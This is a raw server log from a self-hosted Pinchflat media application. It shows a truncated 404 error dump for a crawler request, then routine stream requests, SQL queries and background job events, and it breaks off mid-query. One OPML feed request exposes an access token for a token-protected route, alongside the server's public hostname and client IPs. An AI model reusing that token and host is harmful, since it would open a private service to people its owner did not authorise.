[ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/1/media/4/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAggd8Y-dHHpasABbzD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239746.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/4/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 43778}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/4/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239746.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/4/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 43778}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239747.0>, params: %{}, path_info: ["sources", "1", "media", "4", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => (truncated) 02:53:43.930 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:00.284 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:54:13.932 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:21.608 [info] GET /media/3b5531ed-e78f-4722-b541-3415dff3f68e/stream 02:54:21.608 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "3b5531ed-e78f-4722-b541-3415dff3f68e", "v" => "1728161360"} Pipelines: [:maybe_basic_auth] 02:54:21.609 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=467.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["3b5531ed-e78f-4722-b541-3415dff3f68e"] 02:54:21.610 [debug] Invalid range request for media item: 3b5531ed-e78f-4722-b541-3415dff3f68e - serving full file 02:54:21.610 [info] Sent 200 in 2ms 02:54:43.934 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:00.285 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:55:13.936 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:23.297 [info] GET /media/d08ad2c8-f3e7-4510-b1d8-6c7d4d85739d/stream 02:55:23.297 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "d08ad2c8-f3e7-4510-b1d8-6c7d4d85739d", "v" => "1762067545"} Pipelines: [:maybe_basic_auth] 02:55:23.298 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=140.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d08ad2c8-f3e7-4510-b1d8-6c7d4d85739d"] 02:55:23.299 [debug] Invalid range request for media item: d08ad2c8-f3e7-4510-b1d8-6c7d4d85739d - serving full file 02:55:23.299 [info] Sent 200 in 1ms 02:55:43.938 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:00.286 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:56:13.940 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:24.077 [info] GET /media/cc3d20cb-ccbd-419f-a358-25c58088c246/stream 02:56:24.077 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "cc3d20cb-ccbd-419f-a358-25c58088c246", "v" => "1761449259"} Pipelines: [:maybe_basic_auth] 02:56:24.078 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=912.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["cc3d20cb-ccbd-419f-a358-25c58088c246"] 02:56:24.079 [debug] Invalid range request for media item: cc3d20cb-ccbd-419f-a358-25c58088c246 - serving full file 02:56:24.079 [info] Sent 200 in 1ms 02:56:43.942 [info] {"source":"oban","duration":1721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:00.287 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:57:13.945 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:21.338 [info] GET /media/eb236e2f-c5bd-4b95-8c35-c9d80291c787/stream 02:57:21.339 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "eb236e2f-c5bd-4b95-8c35-c9d80291c787", "v" => "1728161213"} Pipelines: [:maybe_basic_auth] 02:57:21.432 [debug] QUERY OK source="media_items" db=92.3ms queue=0.1ms idle=830.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["eb236e2f-c5bd-4b95-8c35-c9d80291c787"] 02:57:21.432 [debug] Invalid range request for media item: eb236e2f-c5bd-4b95-8c35-c9d80291c787 - serving full file 02:57:21.432 [info] Sent 200 in 93ms 02:57:43.947 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:00.288 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:58:13.949 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:17.275 [info] GET /sources/opml.xml 02:58:17.275 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.opml_feed/2 Parameters: %{"route_token" => "4868fc99-3263-4090-bf5c-aefca5fbeec7"} Pipelines: [:maybe_basic_auth, :token_protected_route] 02:58:17.276 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=651.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:58:17.276 [debug] QUERY OK source="sources" db=0.2ms queue=0.2ms idle=111.2ms SELECT s0."custom_name", s0."uuid" FROM "sources" AS s0 WHERE (s0."marked_for_deletion_at" IS NULL) ORDER BY s0."custom_name" [] 02:58:17.277 [info] Sent 200 in 2ms 02:58:43.951 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:00.289 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:59:08.613 [info] GET /media/bb07f896-c9ee-4f9a-9176-4cd51c3f264d/stream 02:59:08.613 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "bb07f896-c9ee-4f9a-9176-4cd51c3f264d", "v" => "1728529104"} Pipelines: [:maybe_basic_auth] 02:59:08.614 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1448.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["bb07f896-c9ee-4f9a-9176-4cd51c3f264d"] 02:59:08.615 [debug] Invalid range request for media item: bb07f896-c9ee-4f9a-9176-4cd51c3f264d - serving full file 02:59:08.615 [info] Sent 200 in 2ms 02:59:13.953 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:43.955 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:52.662 [info] GET /media/d088f6b0-4998-44da-a26c-2c920ded2a40/stream 02:59:52.662 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "d088f6b0-4998-44da-a26c-2c920ded2a40", "v" => "1761279927"} Pipelines: [:maybe_basic_auth] 02:59:52.663 [debug] QUERY OK source="media_items" db=0.4ms idle=1497.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d088f6b0-4998-44da-a26c-2c920ded2a40"] 02:59:52.664 [debug] Invalid range request for media item: d088f6b0-4998-44da-a26c-2c920ded2a40 - serving full file 02:59:52.664 [info] Sent 200 in 1ms 03:00:00.290 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:00:13.957 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:34.851 [info] GET /media/44cb0690-0aac-4c97-a130-39da8cd6b818/stream 03:00:34.851 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "44cb0690-0aac-4c97-a130-39da8cd6b818", "v" => "1761885049"} Pipelines: [:maybe_basic_auth] 03:00:34.852 [debug] QUERY OK source="media_items" db=0.8ms idle=1686.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["44cb0690-0aac-4c97-a130-39da8cd6b818"] 03:00:34.853 [debug] Invalid range request for media item: 44cb0690-0aac-4c97-a130-39da8cd6b818 - serving full file 03:00:34.853 [info] Sent 200 in 2ms 03:00:43.959 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:00.291 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:01:13.961 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:14.893 [info] GET /media/f0e6e1f3-cc9a-4230-bd68-ab0f45b1482f/stream 03:01:14.893 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "f0e6e1f3-cc9a-4230-bd68-ab0f45b1482f", "v" => "1762534677"} Pipelines: [:maybe_basic_auth] 03:01:14.895 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1729.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["f0e6e1f3-cc9a-4230-bd68-ab0f45b1482f"] 03:01:14.895 [debug] Invalid range request for media item: f0e6e1f3-cc9a-4230-bd68-ab0f45b1482f - serving full file 03:01:14.895 [info] Sent 200 in 2ms 03:01:43.963 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:57.842 [info] GET /media/c70229bd-4ae4-44c6-870c-a5a91d7da59b/stream 03:01:57.843 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "c70229bd-4ae4-44c6-870c-a5a91d7da59b", "v" => "1728528892"} Pipelines: [:maybe_basic_auth] 03:01:57.844 [debug] QUERY OK source="media_items" db=0.5ms idle=1678.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["c70229bd-4ae4-44c6-870c-a5a91d7da59b"] 03:01:57.844 [debug] Invalid range request for media item: c70229bd-4ae4-44c6-870c-a5a91d7da59b - serving full file 03:01:57.844 [info] Sent 200 in 1ms 03:02:00.292 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:02:13.965 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:37.462 [info] GET /media/8216be89-72af-48ab-a09a-eccc990135c2/stream 03:02:37.462 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "8216be89-72af-48ab-a09a-eccc990135c2", "v" => "1761462458"} Pipelines: [:maybe_basic_auth] 03:02:37.463 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=314.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["8216be89-72af-48ab-a09a-eccc990135c2"] 03:02:37.464 [debug] Invalid range request for media item: 8216be89-72af-48ab-a09a-eccc990135c2 - serving full file 03:02:37.464 [info] Sent 200 in 1ms 03:02:43.967 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:00.293 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:03:13.969 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:14.015 [info] GET /media/a7d66514-b6f6-4f91-bf4d-d6b39e4ec9f9/stream 03:03:14.015 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "a7d66514-b6f6-4f91-bf4d-d6b39e4ec9f9", "v" => "1728161140"} Pipelines: [:maybe_basic_auth] 03:03:14.016 [debug] QUERY OK source="media_items" db=0.5ms idle=1797.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["a7d66514-b6f6-4f91-bf4d-d6b39e4ec9f9"] 03:03:14.017 [debug] Invalid range request for media item: a7d66514-b6f6-4f91-bf4d-d6b39e4ec9f9 - serving full file 03:03:14.017 [info] Sent 200 in 1ms 03:03:43.971 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:47.997 [info] GET /media/1c4a4f5c-c734-4084-9176-dea90feb60fa/stream 03:03:47.997 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "1c4a4f5c-c734-4084-9176-dea90feb60fa", "v" => "1728161336"} Pipelines: [:maybe_basic_auth] 03:03:47.998 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=832.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["1c4a4f5c-c734-4084-9176-dea90feb60fa"] 03:03:47.998 [debug] Invalid range request for media item: 1c4a4f5c-c734-4084-9176-dea90feb60fa - serving full file 03:03:47.999 [info] Sent 200 in 1ms 03:04:00.294 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:04:13.973 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:19.202 [info] GET /media/146e1fc5-4831-4eb7-92ca-8d35c80d8c2c/stream 03:04:19.202 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "146e1fc5-4831-4eb7-92ca-8d35c80d8c2c", "v" => "1728528913"} Pipelines: [:maybe_basic_auth] 03:04:19.203 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=852.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["146e1fc5-4831-4eb7-92ca-8d35c80d8c2c"] 03:04:19.203 [debug] Invalid range request for media item: 146e1fc5-4831-4eb7-92ca-8d35c80d8c2c - serving full file 03:04:19.203 [info] Sent 200 in 1ms 03:04:43.975 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:45.414 [info] GET /media/bb0f7c5f-e8bd-4c87-95da-4836e88dc0d8/stream 03:04:45.415 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "bb0f7c5f-e8bd-4c87-95da-4836e88dc0d8", "v" => "1762490127"} Pipelines: [:maybe_basic_auth] 03:04:45.415 [debug] QUERY OK source="media_items" db=0.3ms idle=250.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["bb0f7c5f-e8bd-4c87-95da-4836e88dc0d8"] 03:04:45.416 [debug] Invalid range request for media item: bb0f7c5f-e8bd-4c87-95da-4836e88dc0d8 - serving full file 03:04:45.416 [info] Sent 200 in 1ms 03:05:00.295 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:05:09.357 [info] GET /media/cdf2da7f-08aa-4f4f-adc5-933606224679/stream 03:05:09.357 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "cdf2da7f-08aa-4f4f-adc5-933606224679", "v" => "1728528927"} Pipelines: [:maybe_basic_auth] 03:05:09.358 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=1192.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["cdf2da7f-08aa-4f4f-adc5-933606224679"] 03:05:09.359 [debug] Invalid range request for media item: cdf2da7f-08aa-4f4f-adc5-933606224679 - serving full file 03:05:09.359 [info] Sent 200 in 1ms 03:05:13.977 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:34.671 [info] GET /media/d82dc8d4-5279-4e27-a146-1acbd7f0cec1/stream 03:05:34.671 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "d82dc8d4-5279-4e27-a146-1acbd7f0cec1", "v" => "1728529344"} Pipelines: [:maybe_basic_auth] 03:05:34.672 [debug] QUERY OK source="media_items" db=0.4ms idle=1503.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d82dc8d4-5279-4e27-a146-1acbd7f0cec1"] 03:05:34.672 [debug] Invalid range request for media item: d82dc8d4-5279-4e27-a146-1acbd7f0cec1 - serving full file 03:05:34.672 [info] Sent 200 in 1ms 03:05:43.979 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:56.087 [info] GET /media/bd93a2b2-5dda-4c39-98e3-b7fba5af7fde/stream 03:05:56.088 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "bd93a2b2-5dda-4c39-98e3-b7fba5af7fde", "v" => "1762490118"} Pipelines: [:maybe_basic_auth] 03:05:56.088 [debug] QUERY OK source="media_items" db=0.3ms idle=920.0ms SELECT m0."id", 